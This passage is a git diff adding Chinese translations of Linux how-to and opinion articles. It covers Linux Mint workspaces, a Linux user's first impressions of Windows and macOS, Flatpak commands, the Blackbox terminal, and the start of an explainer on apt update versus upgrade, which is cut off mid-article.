中的工作区是持久的。创建后,这些工作区将始终存在,即使在下次启动后也是如此。 + +### 在工作区之间切换 + +有两种方法可以访问工作区并在它们之间切换。 + +* 使用 `CTRL + ALT+ ↑`,将显示出所有工作区,然后使用箭头键或鼠标在它们之间移动。 +* 使用热角并在左上角移动鼠标。 + +默认情况下,最新版本的 Linux Mint 中禁用了热角功能。 + +要启用热角在工作区之间切换,你应该进入 系统设置System Settings 并选择 热角Hot Corners 选项。 + +![Hot Corners Option in System Settings][3] + +现在,通过切换按钮启用左上角。默认情况下,此角专用于显示所有工作区(你也可以更改它)。 + +![Show All Workspaces in Top Left Corner][4] + +你现在可以通过将鼠标悬停在左上角来访问工作区网格。 + +此外,如果需要,你可以按右侧的 `+` 符号添加新工作区。或根据需要通过单击名称来重命名现有工作区。 + +![Workspace Overview Accessible from Top Left Corner][5] + +### 删除工作区 + +实际上,你可以通过单击 `+` 号来创建多个工作区。如果你想删除工作区,请将鼠标悬停在该工作区上,单击工作区右上角的 `X` 号。 + +![Delete a Workspace][6] + +我希望这篇快速文章能帮助你在 Linux Mint 中创建工作区。你经常使用工作空间吗?让我们知道你对工作空间的看法。同时,你还可以查看 [安装 Linux Mint 20 后要做的事情][7] 的帖子。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/workspaces-linux-mint/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/quickly-fix-broken-unity-installing-cinnamon-20-ubuntu-1310/ +[2]: https://itsfoss.com/wp-content/uploads/2022/08/workspace-overview-in-linux-mint.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/hot-corners-option-in-system-settings.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/show-all-workspaces-in-top-left-corner.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/workspace-overview-accessible-from-top-left-corner-1.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/delete-a-workspace.png +[7]: https://itsfoss.com/things-to-do-after-installing-linux-mint-20/ diff --git a/published/202209/20220820 What if a Lifelong Linux User Tried Windows or macOS for the First Time-.md b/published/202209/20220820 What if a Lifelong Linux User Tried Windows or macOS for the First Time-.md new file mode 100644 index 0000000000..0ec10b2581 --- /dev/null +++ b/published/202209/20220820 What if a Lifelong Linux User Tried Windows or macOS for the First Time-.md @@ -0,0 +1,151 @@ +[#]: subject: "What if a Lifelong Linux User Tried Windows or macOS for the First Time?" +[#]: via: "https://news.itsfoss.com/linux-user-trying-windows-macos/" +[#]: author: "Abhishek https://news.itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "Kira-Pgr" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15000-1.html" + +用惯 Linux 的人第一次用 Windows 或 macOS 会怎样? +====== + +> Windows 用户在转换到 Linux 的过程中会遇到很多问题。如果反过来,一个一直用 Linux 的用户第一次用 Windows 或 macOS 会遇到什么问题呢? + +![一直用 Linux 的人第一次用 Windows 或 macOS 会怎样?][1] + +还记得 YouTube 频道 Linus Tech Tips 中 Linus Sebastian [尝试在 Linux 上玩游戏][2] 的场面吗? 尽管终端显示了明显的警告, 他最后还是把他的桌面环境删掉了。 + +![Linus Sebastian 弄坏了他的 Linux 系统][3] + +考虑到 Sebastian 日常用 Windows 玩游戏, 换到 Linux 肯定需要一定的时间。 + +所以,这是 Linux 的问题吗? 还是 Sebastian 搞错了? + +难道说,任何对操作系统不熟悉的用户在第一次尝试使用该系统的时候都会遇到问题? + +接下来,你可以从不同的角度去了解 Linux 用户第一次使用 Windows 或者 macOS 的感受。 + +Linux 用户第一次用 Windows 或 macOS 会非常容易?还是会和 Sebastian 用 Linux 时一样感觉糟糕? + +这肯定是非常有趣的话题…… + +一位 DevOps 高级工程师 **Scott Williams** 在一系列推文中假想了 Linux 用户第一次用 Windows 或 macOS 的场面。 + +### 在 Windows 11 上怎么启用 TPM 2.0? + +如何安装 Windows 的最新版本 Windows 11? + +> [Scott Williams][5]:\ +> 今晚,看我在能不能在这台用了 4 年的笔记本电脑上启用 TPM2.0 并运行 Windows 11。这台电脑支持 Intel PTT,所以应该会很顺利吧? + +怎样启用 TPM 2.0? 如何在 BIOS 菜单中找到它? 启用 TPM 2.0 安全吗? 我是否需要刷一个更新的 BIOS? 更新 BIOS 的过程中是否会弄坏我的主版? + +这些就是些每个 Linux 用户(甚至是 macOS/Windows 用户)将系统升级到 Windows 11 时都会遇到的一些问题。 + +Linux 用户从来没有必要做如此奇怪的事情来让系统正常工作。即使是在 2022 年。但是 Windows 11 需要你在升级前了解 BIOS 设置和 TPM 芯片的情况。 + +虽然 Scott 提到的是旧笔记本电脑,但值得注意的是,即使是最新的主板(比如 Z590),你可能也需要调整 BIOS 设置或者刷一个版本更高的 BIOS 版本才能支持 Windows 11。 + +由于更新 BIOS 有一定的风险,这种事情即使是对于懂技术的用户也是很不方便。 + +### 我需要用杀毒软件吗?用哪个? + +虽说苹果的 XProtect 和 Windows Defender 能提供基本保护,但对于想要更好保护的用户来说,在杀毒软件方面有几个选择: + +> [Scott Williams][6]:\ +> 所以我究竟需不需要装杀毒软件?装哪个? + +网上有那么多选择和软文,用户很难确定那个杀毒软件最好,已经为之付费是否值得。 + +而 Linux 用户就会这么想: *我竟然还要安装这个? 不会很浪费性能吗? 我需要这么多安全防护功能吗? Windows 不是一个安全的操作系统吗?* + +### macOS 和 iCloud:一个爱情故事? + +> [Scott Williams][7]:\ +> iCloud 是什么?我怎么把它删掉? + +Linux 用户们并不喜欢集成的云服务。他们宁愿挂载一个网盘(或网络存储器)。 + +即使他们选择了网盘,也应该按照用户的意图来工作。但是,在 macOS 上,你会经常被提示要使用 iCloud,同时 Siri 还会跳出来捣乱。 + +### Linux 用户清理注册表 + +原先使用 Linux 的新手 Windows 用户为了能优化系统性能去清理注册表,但在面对那么多清理注册表和优化系统以提高性能的工具和选项时,可能会以一个没有反应的 Windows 而告终。 + +> [Scott Williams][8]:\ +> Reddit上有些人说需要“清理注册表”,我按照几个教程删除了一些东西,然后现在我的 Windows 变得很奇怪。 + +即使在 2022 年,对于应该在什么时候手动或者用工具清理注册表还是没有明确的规定。 + +虽说资深 Linux 用户喜欢在尝试新东西前关注细节。但如果 GUI 中没有恰当的警告或提示,还怎么知道所有的注意事项呢。 + +### 经常需要重启 + +虽说不像 Linux 的重启那样,Windows 的重启可以修复问题。不过,我到底要在更新 Windows 或者安装软件后重启多少次啊? + +> [Scott Williams][9]:\ +> 第一次尝试 Windows 或 macOS 的 Linux 用户是这样的:\ +> “究竟需要安装多少个版本的 .NET? 已经重启了多少次了?” \ +> “为什么我的 Adobe 版本不支持这个版本的 macOS? 难怪那么多人在用 macOS 时会遇到麻烦。苹果公司需要修复这个问题了。” + +每次我重启的时候后台运行的程序都被干掉了。 + +为什么 Windows 就不能在检测新安装的程序或者更新的时候简单地刷新一下,而不是重启呢。Windows 为什么反着来呢。 + +### 这些东西还需要花钱? 我有 Windows 许可证还不够? + +Linux 主要是自由和开源软件构成的,因此预装的工具也是免费的。 + +所以, 一个用惯那些工具的用户就不得不突然需要花钱买一个 Windows 许可证,而且还要支付软件费用。 + +微软是不是太贪婪了呢? + +### 默认就缺少必须的软件包 + +在安装完 Windows 后我连压缩包都解压不了?Windows 真的是现代操作系统吗? + +### macOS 配置多显示器 + +> [Scott Williams][10]:\ +> 怎样让我的显示器在 macOS 上工作呢? + +在 Linux 上配置多显示器非常轻松。但在 macOS 上完全不是那回事。 + +### 总结 + +归根到底,这要看用户的标准和你熟悉的内容。Windows 和 macOS 经常被看作标准的桌面系统。 + +然而相比之下,大多数人除了知道 Linux 很难用外,对有关 Linux 的东西了解甚少。 + +不过,你只要掌握使用 Linux 的要领,就像你掌握 Windows、macOS 那样,用 Linux 桌面环境就很轻松了。 + +只不过在用 Linux 的过程会遇到各种各样的问题,但你只要有耐心就能享受整个过程了。 + +Linux 本身没有什么问题,是其他系统用户未能熟悉 Linux 的问题。我们并不希望 Linux 变成 Windows,也不希望 Windows 表现得像 Linux,任何操作系统都应该“做它自己”。 + +但话又说回来,不应该因为一个长期使用 Windows 的用户在最初使用时没有良好的体验就把 Linux 排除在外,因为同样的情况也可能发生在一个长期使用 Linux 的用户尝试 Windows/MacOS 时。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/linux-user-trying-windows-macos/ + +作者:[Abhishek][a] +选题:[lkxed][b] +译者:[Kira-Pgr](https://github.com/Kira-Pgr) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/08/linux-windows.png +[2]: https://www.youtube.com/watch?v=0506yDSgU7M&t=788s +[3]: https://news.itsfoss.com/content/images/2022/08/linus-sebastian-nukes-pop-os-while-installing-steam-os.webp +[4]: https://news.itsfoss.com/more-linux-distros-become-linus-proof/ +[5]: https://twitter.com/vwbusguy/status/1463543535630569473 +[6]: https://twitter.com/vwbusguy/status/1463556939728572419 +[7]: https://twitter.com/vwbusguy/status/1463579003504136192 +[8]: https://twitter.com/vwbusguy/status/1463595769051549697 +[9]: https://twitter.com/vwbusguy/status/1463538368956887043 +[10]: https://twitter.com/vwbusguy/status/1463606807906029570 diff --git a/published/202209/20220824 Become A Pro Flatpak User By Learning These Commands.md b/published/202209/20220824 Become A Pro Flatpak User By Learning These Commands.md new file mode 100644 index 0000000000..08a8aaaa41 --- /dev/null +++ b/published/202209/20220824 Become A Pro Flatpak User By Learning These Commands.md @@ -0,0 +1,284 @@ +[#]: subject: "Become A Pro Flatpak User By Learning These Commands" +[#]: via: "https://www.debugpoint.com/flatpak-commands/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15007-1.html" + +如何成为专业的 Flatpak 用户 +====== + +> 在这篇文章中,我将向你展示各种 Flatpak 命令,使你成为 Flatpak 的专业用户。 + +![][1] + +Flatpak 沙盒技术是 Linux 应用分发的未来。如今,几乎所有重要的发行版都预装了 Flatpak,因为采用它很容易,维护它也更直接。 + +如果你每天都使用 Flatpak,你可能知道这些命令。但如果你还在考虑把每一个应用程序都转到 Flatpak,那么你应该通过这个命令列表来了解如何轻松管理 Flatpak 应用程序。 + +因此,为了帮助你做到这一点,我列出了一些易于使用的 Flatpak 命令供你参考,这些命令是从文档中的大量命令集中筛选出来的。 + +### Flatpak 命令参考 + +首先,我们来谈谈一些基本的命令。 + +#### 1、安装 Flatpak + +自从上次我检查过后,如今所有重要的发行版都预装了 Flatpak。因此,你可能不需要安装它。 + +然而,安装 Flatpak 就像在这两个主要发行版中运行以下命令一样简单: + +``` +sudo apt install flatpak // 用于 Ubuntu 和相关发行版 +``` + +``` +sudo dnf install flatpak // 适用于 Fedora 和基于 RPM 的发行版 +``` + +如果你正在运行其他发行版,你可以查看我们关于 Flatpak 安装的 [详细指南][2]。 + +#### 2、设置 Flatpak 远程仓库 + +接下来,你需要在安装后设置与 远程仓库remote的连接。远程仓库就像是一个存储库(参考 PPA),用来分发 Flatpak 应用程序。 + +主要的仓库是 Flathub,你可以用下面的命令来设置它。这个命令对所有发行版都是一样的。完成后,重新启动你的系统,你就可以安装 Flatpak 应用程序了。 + +``` +flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo +``` + +**提示**:如果你有别的远程仓库,你可以使用相同的命令来添加该仓库。在一个系统中设置多个远程仓库是正常的。 + +**提示**:另外,你可以指定 `--user` 或 `--system` 开关来安装特定于你的用户 ID 或整个系统的 Flatpak 远程仓库。 + +``` +flatpak remote-add --if-not-exists --user https://flathub.org/repo/flathub.flatpakrepo +``` + +``` +flatpak remote-add --if-not-exists --system https://flathub.org/repo/flathub.flatpakrepo +``` + +#### 3、从 Flathub 安装 Flatpak 应用程序 + +Linux 中大多数重要的基于 GUI 的软件商店都默认允许安装 Flatpak 应用程序。例如,如果你正在使用“软件Software”(适用于 Ubuntu 或 Fedora GNOME 版),你可以找到应用程序并点击安装按钮进行安装。 + +或者,在 KDE Plasma 的 “发现Discover” 中: + +![KDE “发现”可以从 Flathub 拉取 Flatpak 应用程序][3] + +但是,最简单的方法是复制 [Flathub 商店][4] 中的安装命令(可在每个应用程序信息页面的底部找到)并将其粘贴到终端。这是安装 Flatpak 应用程序的最快方法。 + +``` +flatpak install org.kde.kdenlive +``` + +#### 4、运行一个应用程序 + +有两种方法来运行你安装的 Flatpak 应用程序。你可以在图形化桌面环境的应用程序菜单中找到它。或者,你可以使用简单的运行(`run`)参数来启动。 + +你可以从 Flathub 应用程序页面找到运行命令。 + +``` +flatpak run org.kde.kdenlive +``` + +现在,你已经学会了如何设置、安装和运行 Flatpak 应用程序。现在是时候深入了解一下了。 + +#### 5、找出已安装的 Flatpak 应用程序列表 + +经过几年,你可能已经安装和删除了许多 Flatpak 应用程序。但是,你怎么找出安装了多少 Flatpak 应用程序?或者你可能想知道系统所安装的 Flatpak 应用是什么。 + +这里有一些 Flatpak 命令(通过终端运行),可以在这方面帮助你。 + +一个简单的 `flatpak` 命令可以列出所有安装的应用程序。这包括系统应用和你的应用: + +``` +flatpak list +``` + +只显示你的应用程序: + +``` +flatpak --user list +``` + +更详细一点,你可以在上述两个命令中使用额外的列(如名称、大小等)进行过滤: + +``` +flatpak --columns=app,name,size,installation list +``` + +``` +flatpak --columns=name,size --user list +``` + +![flatpak 带有额外列的列出命令][5] + +#### 6、找出已安装应用程序的更多信息 + +现在,你已经通过上述 Flatpak 命令安装了一个应用程序。但是,如果你想知道架构、版本、分支、许可证和其他信息,该怎么办呢?你可以使用 `info` 参数来实现。这个命令需要 Flatpak 的 “应用 ID”,你可以通过上面的 `flatpak list` 命令得到它。 + +例如: + +``` +flatpak info org.kde.kdenlive +``` + +![flatpak info 命令][6] + +#### 7、找出 flatpak 命令在你系统中的全部历史记录 + +`flatpak` 命令中的 `histroy` 开关会列出在你的系统中发生的活动,包括安装、更新、卸载和日期时间戳。如果你想调查一些事情,这非常有用。 + +``` +flatpak history +``` + +#### 8、更新 Flatpak 应用程序 + +`flatpak` 命令中的 `update` 参数可以更新所有的应用程序和运行时。当你运行这个命令时,它会显示可用的更新,并要求你确认是否继续。 + +``` +flatpak update +``` + +如果你想更新一个特定的应用程序而不是整个系统,请使用 `--app` 或 `--runtime` 开关,分别用于应用程序和运行时。 + +例如,如果我想在我的系统中只更新 kdenlive,我将运行以下命令: + +``` +flatpak update --app org.kde.kdenlive +``` + +**提示**:`update` 参数通常会更新到任何程序的分支顶端。然而,使用 `update` 参数中的 `--commit` 开关,你可以更新到 Flatpak 中的某个特定分支(升级或降级)。例如: + +``` +flatpak update --app org.kde.kdenlive --commit 37103f4ee56361a73d20cf6957d88f3cab802909a5966c27a6e81d69795a15 +``` + +如果你想使用同一个应用程序的多个版本,这个 `--commit` 开关是非常有用的。 + +![flatpak 带有提交开关的更新命令示例][7] + +#### 9、管理 Flatpak 应用程序的权限 + +不同的应用程序需要不同的权限,如摄像头、麦克风、屏幕等等。通过命令来管理这些单独的权限有点让人不知所措。因此,管理 Flatpak 权限的最好方法是使用另一个叫做 Flatseal 的 Flatpak 应用程序。它为你提供了一个漂亮的 GUI,有切换按钮来启用/禁用/审查已安装的 Flatpak 应用程序的权限。 + +你可以在 [这里][8] 阅读 Flatseal 的更多信息。 + +#### 10、卸载 Flatpak 应用程序的命令 + +卸载 Flatpak 应用程序有不同的使用情况。所以,这里是快速指南。 + +要卸载单个应用程序,使用 `uninstall` 参数和应用程序 ID。例如: + +``` +flatpak uninstall org.kde.kdenlive +``` + +要卸载所有应用程序,使用 `—all` 开关: + +``` +flatpak uninstall --all +``` + +要卸载未使用的应用程序,请使用以下方法: + +``` +flatpak uninstall --unused +``` + +#### 11、删除并去除 Flatpak 应用程序的所有痕迹 + +**使用以下命令时要特别小心,因为它将删除一切。** + +即使你卸载了 Flatpak 应用程序,一些应用程序的数据仍然保留在你的系统中,除非你在运行卸载程序时增加一些开关。在你可能想删除所有东西并重新开始使用 Flatpak 的情况下,这是必要的。 + +要卸载和删除特定应用程序的数据,请使用以下命令。例如: + +``` +flatpak uninstall -y --delete-data org.kde.kdenlive +``` + +要卸载和删除所有与 Flatpak 相关的东西,请使用下面的命令: + +``` +flatpak uninstall --all --delete-data +``` + +#### 12、清理和磁盘空间的使用 + +默认情况下,Flatpak 被安装在 `/var/lib/flatpak`。这个目录包含所有与 Flatpak 相关的数据和元数据以及运行时文件。而用户特定的安装目录是 `~/.local/share/flatpak`。 + +你可以用以下命令找出 Flatpak 应用程序使用的磁盘空间。 + +``` +du -h /var/lib/flatpak +``` + +要清理,你可以使用上面提到的 `--unused` 或 `--uninstall` 开关。详情请访问我们的 [Flatpak 清理指南][9]。 + +### 总结 + +为了便于你随时参考,这里是对上面解释的 `flatpak` 命令的一个总结。把这个页面收藏起来,以便于参考。 + +``` +# 安装和运行 +flatpak install org.kde.kdenlive +flatpak run org.kde.kdenlive + +# 列出已安装的 Flatpak 应用程序 +flatpak list +flatpak --user list +flatpak --columns=app,name,size,installation list +flatpak --columns=name,size --user list + +# 找出应用 ID 和命令历史 +flatpak info org.kde.kdenlive +flatpak history + +# 更新 Flatpak 应用程序 +flatpak update +flatpak update --app org.kde.kdenlive + +# 删除 Flatpak 应用程序 +flatpak uninstall org.kde.kdenlive +flatpak uninstall --unused + +# 删除应用及数据(小心使用) +flatpak uninstall --all +flatpak uninstall -y --delete-data org.kde.kdenlive +flatpak uninstall --all --delete-data +``` + +最后,请在评论框中告诉我,你认为还有哪些 Flatpak 命令也应该包括在这个列表中。 + +[一些例子来自官方参考资料][10]。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/flatpak-commands/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/08/fpref-1024x576.jpg +[2]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[3]: https://www.debugpoint.com/?attachment_id=10760 +[4]: https://flathub.org/apps +[5]: https://www.debugpoint.com/?attachment_id=10758 +[6]: https://www.debugpoint.com/?attachment_id=10757 +[7]: https://www.debugpoint.com/wp-content/uploads/2022/08/Example-of-flatpak-commands-update-with-commit-1024x576.jpg +[8]: https://www.debugpoint.com/manage-flatpak-permission-flatseal/ +[9]: https://www.debugpoint.com/clean-up-flatpak/ +[10]: https://docs.flatpak.org/en/latest/flatpak-command-reference.html diff --git a/published/202209/20220824 Blackbox is an Aesthetically Pleasing Terminal for Minimalists Linux Users.md b/published/202209/20220824 Blackbox is an Aesthetically Pleasing Terminal for Minimalists Linux Users.md new file mode 100644 index 0000000000..e3532f356c --- /dev/null +++ b/published/202209/20220824 Blackbox is an Aesthetically Pleasing Terminal for Minimalists Linux Users.md @@ -0,0 +1,144 @@ +[#]: subject: "Blackbox is an Aesthetically Pleasing Terminal for Minimalists Linux Users" +[#]: via: "https://itsfoss.com/blackbox-terminal/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14992-1.html" + +Blackbox:极简主义 Linux 用户的美观终端 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/01/230823b2n8vhe6jn5vz5uq.jpg) + +有 [许多可用于 Linux 的终端仿真器][1]。从 Terminator 到 Tilix,你有多种终端可供选择。 + +但这并没有阻止新终端应用的到来。你最近已经见过了 [GNOME Console][2] 吧,今天,我将向你介绍 Blackbox。 + +### Blackbox 终端:概述和功能 + +Blackbox 是一个支持 GTK4 的终端仿真器。开发者为了他可以在 Linux 上使用外观优美的终端应用而创建了这个项目。 + +所以,不要指望它有很多功能。它只是一个使用 GTK4 工具包并支持主题的终端仿真器。 + +换句话说,它更多注重的是关于外观而不是功能。 + +以下是 Blackbox 的主要亮点: + +* 可设置主题(支持 [Tilix][3] 兼容的配色方案) +* 主题与窗口装饰的融合 +* 自定义字体 +* 各种可自定义的 UI 设置 +* 标签 +* 可切换的标题栏 +* 点击打开链接 +* 文件拖放支持 + +谈到外观,让我们来看看它提供的不同外观。默认窗口将类似于下面的截图。 + +![Default look of Blackbox terminal][4] + +#### 没有标题栏 + +你也可以取消标题栏,如下所示。这是 GTK4 应用程序中最“流行”的功能之一。 + +![Blackbox without header bar][5] + +你还可以在无标题栏模式下启用浮动控件。 + +![Floating controls with no header bar mode][6] + +#### 轻松复制和粘贴(不要抗拒) + +`Ctrl+C` 和 `Ctrl+V` 就像复制粘贴的通用键盘快捷键。 + +但是古老的 Unix 在宇宙之前就存在了,因此它使用 [Ctrl+C 键来终止终端中正在运行的程序][7]。 + +但是,有些人发现不能使用他们最喜欢的快捷键来 [在终端中复制粘贴][8] 有点不方便。 + +Blackbox 允许你通过启用“轻松复制和粘贴”设置来更改它。启用此设置后,你可以使用 `Ctrl+C` 和 `Ctrl+v` 进行复制粘贴操作。 + +不用担心。`Ctrl+C` 仍可用于停止正在运行的命令。 + +![Easy copy-paste mode allows using Ctrl+C and Ctrl+V keys][9] + +#### 主题 + +你还可以从设置中选择不同的主题。有几个浅色和深色主题可供选择。你还可以使用 Tilix 风格的主题。 + +![Available themes for Blackbox][10] + +让我们看看它在 Yaru 主题和不扩展选项卡的情况下的外观,这与默认的 Blackbox 行为不同。 + +![Blackbox with a changed theme][11] + +#### 重置为默认 + +还有一些更方便的功能,例如记住窗口大小、按像素滚动等。 + +好消息是,如果你对设置进行了太多更改,你可以将它们全部还原并重置为默认设置。 + +该选项在“首选项Preferences”的“高级Advance”选项卡中可用。 + +![reset blackbox settings to default][12] + +### 安装 Blackbox 终端 + +请记住,**Blackbox 处于开发的早期阶段**。我在切换主题时出现过崩溃。 + +要安装 Blackbox 终端,你应该在系统中安装 [Flatpak 并启用 Flathub 仓库][13]。 + +使用此命令在你的系统上安装 Blackbox: + +``` +flatpak install flathub com.raggesilver.BlackBox +``` + +在 Fedora 和其他一些与 Flatpak 集成的发行版上,你可以从软件中心安装 Blackbox。 + +![Blackbox can also be installed in GNOME Software Center][14] + +安装后,你可以从应用菜单启动它。 + +#### 卸载 Blackbox 终端 + +如果你不喜欢 Blackbox 并想将其删除,请输入以下命令将其删除。 + +``` +flatpak uninstall flathub com.raggesilver.BlackBox +``` + +### 结论 + +在我看来,Blackbox 是一个不错的终端模拟器。在不支持 GTK4 的发行版上,你可以获得 GTK4 所能提供的所有精彩内容。它提供的功能足以应付日常工作。 + +最后,这一切都取决于个人喜好。你可能会喜欢它,也可能不喜欢它。如果你喜欢体验,请尝试一下,并在评论栏与我们分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/blackbox-terminal/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/linux-terminal-emulators/ +[2]: https://itsfoss.com/gnome-console/ +[3]: https://github.com/gnunn1/tilix +[4]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-default.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-noheader.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-floating-controls.png +[7]: https://itsfoss.com/stop-program-linux-terminal/ +[8]: https://itsfoss.com/copy-paste-linux-terminal/ +[9]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-easy-copy-paste.png +[10]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-theme-selection.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-yaru.png +[12]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-reset.png +[13]: https://itsfoss.com/flatpak-guide/ +[14]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-install.png diff --git a/published/202209/20220824 sudo apt update vs upgrade- What-s the Difference-.md b/published/202209/20220824 sudo apt update vs upgrade- What-s the Difference-.md new file mode 100644 index 0000000000..2b0fb50ab5 --- /dev/null +++ b/published/202209/20220824 sudo apt update vs upgrade- What-s the Difference-.md @@ -0,0 +1,149 @@ +[#]: subject: "sudo apt update vs upgrade: What’s the Difference?" +[#]: via: "https://itsfoss.com/apt-update-vs-upgrade/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14994-1.html" + +apt 的 update 和 upgrade 命令的区别是什么? +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/02/224416uecz5x75yalc0axc.jpg) + +如果想让你的 Ubuntu 或者 Debian 系统保持更新,要用 `sudo apt update` 和 `sudo apt upgrade` 命令组合。 + +一些以前的教程也会提到 `sudo apt-get update` 和 `sudo apt-get upgrade`。 + +`apt` 和 `apt-get` 命令运行起来几乎一样,除了一些细微的差别,后面我会讨论。 + +我们首先讨论一下 `update` 和 `upgrade` 的区别。这两个难道不是一样的吗? + +### apt 的 update 和 upgrade 的区别 + +尽管听上去运行 `apt update` 可以给你一个包的最新版本,然而这并不正确。`update` 命令只会获得系统上所有包的最新信息,并不会下载或者安装任何一个包。而是 `apt upgrade` 命令来把这些包下载和升级到最新版本。 + +还是有点困惑?让我来接着解释。我建议阅读 [包管理器的概念][1]。这个会帮你更好的理解这些东西。 + +![Linux Package Manager Explanation][2] + +基本上,你的系统围绕着一个所有可用包的数据库(缓存)工作。注意,这个缓存(或者数据库)并不包含这些包本身,仅仅是关于包的元数据(版本、仓库、依赖等)。 + +如果你不更新这个数据库,系统就不会知道是否有更新的版本。 + +当你运行 `apt update` 或者 `apt-get update` 命令,它会获取这些包的最新元数据(包的版本等)。 + +![apt update][3] + +这时候本地缓存就被更新了,有一些包可以升级。用 `sudo apt upgrade` 可以升级所有(可升级的)包。 + +它会显示要升级的包,并且通过回车(默认选择是 `Y`)或者按下 `Y` 键进行确认。要在这个阶段取消升级,可以按下 `N`。 + +![apt upgrade][4] + +下面这些可能会帮助你记忆: + +* `apt update`:更新包缓存(可以知道包的哪些版本可以被安装或升级) +* `apt upgrade`:升级包到最新版本 + +因为有一些管理员命令,需要作为 root 运行。因此需要使用 `sudo` 配合其他命令。`sudo` 使你能够作为 root 在 Ubuntu 和 Debian 上运行命令。 + +既然理解了 `update` 和 `upgrade` 是如何一起运行的,我们接下来来讨论一下 `apt` 和 `apt-get` 的用法。 + +### apt 还是 apt-get?应该用哪个? + +Debian 和 Ubuntu 使用的是 APT 包管理系统。不要和 `apt` 命令弄混了。 + +有许多和 APT 包管理交互的命令;`apt-get`、`apt`、`dpkg`、`aptitude` 等。 + +这里面最受欢迎的就是 `apt-get` 命令。它是一个低层级low-level且功能丰富的命令。`apt` 是 `apt-get` 命令的一个更新而更简单的版本。 + +可以读一下这篇文章来 [了解 atp 和 apt-get 命令的不同][5]。下面重点讨论这些命令中 `update` 和 `upgrade` 选项的区别。 + +#### apt update vs apt-get update + +`apt-get update` 和 `apt update` 做的是同样的事,都是更新本地包缓存,这样的话你的系统就知道有哪些包的版本是可用的。 + +从技术上讲,其实并没有区别。然而,`apt update` 在一个方面比 `apt-get update` 做的好,**它会告诉你可升级的包的数量**。 + +``` +Hit:15 https://ppa.launchpadcontent.net/slimbook/slimbook/ubuntu jammy InRelease +Fetched 213 kB in 4s (55.8 kB/s) +Reading package lists... Done +Building dependency tree... Done +Reading state information... Done +6 packages can be upgraded. Run 'apt list --upgradable' to see them. +``` + +`apt-get update` 甚至不会告诉你包是否可以升级。 + +![apt get update][6] + +![apt update output][7] + +从 `apt` 中可以看到 [列出可升级的包][8],而 `apt-get` 甚至没有这个选项。 + +``` +# apt list --upgradable +Listing... Done +fprintd/jammy-updates 1.94.2-1ubuntu0.22.04.1 amd64 [upgradable from: 1.94.2-1] +gnome-control-center-data/jammy-updates,jammy-updates 1:41.7-0ubuntu0.22.04.4 all [upgradable from: 1:41.7-0ubuntu0.22.04.1] +gnome-control-center-faces/jammy-updates,jammy-updates 1:41.7-0ubuntu0.22.04.4 all [upgradable from: 1:41.7-0ubuntu0.22.04.1] +gnome-control-center/jammy-updates 1:41.7-0ubuntu0.22.04.4 amd64 [upgradable from: 1:41.7-0ubuntu0.22.04.1] +libpam-fprintd/jammy-updates 1.94.2-1ubuntu0.22.04.1 amd64 [upgradable from: 1.94.2-1] +vivaldi-stable/stable 5.4.2753.40-1 amd64 [upgradable from: 5.4.2753.37-1] +``` + +现在来比较一下两个命令中 `upgrade` 的选项。 + +#### apt upgrade vs apt-get upgrade + +`apt-get upgrade` 和 `apt upgrade` 命令根据本地包缓存(通过 `update` 命令更新)的数据,安装可升级包的最新版本。 + +然而,`apt upgrade` 命令会做两件与 `apt-get upgrade` 不同的事情。 + +`apt upgrade` 命令可以升级 Linux 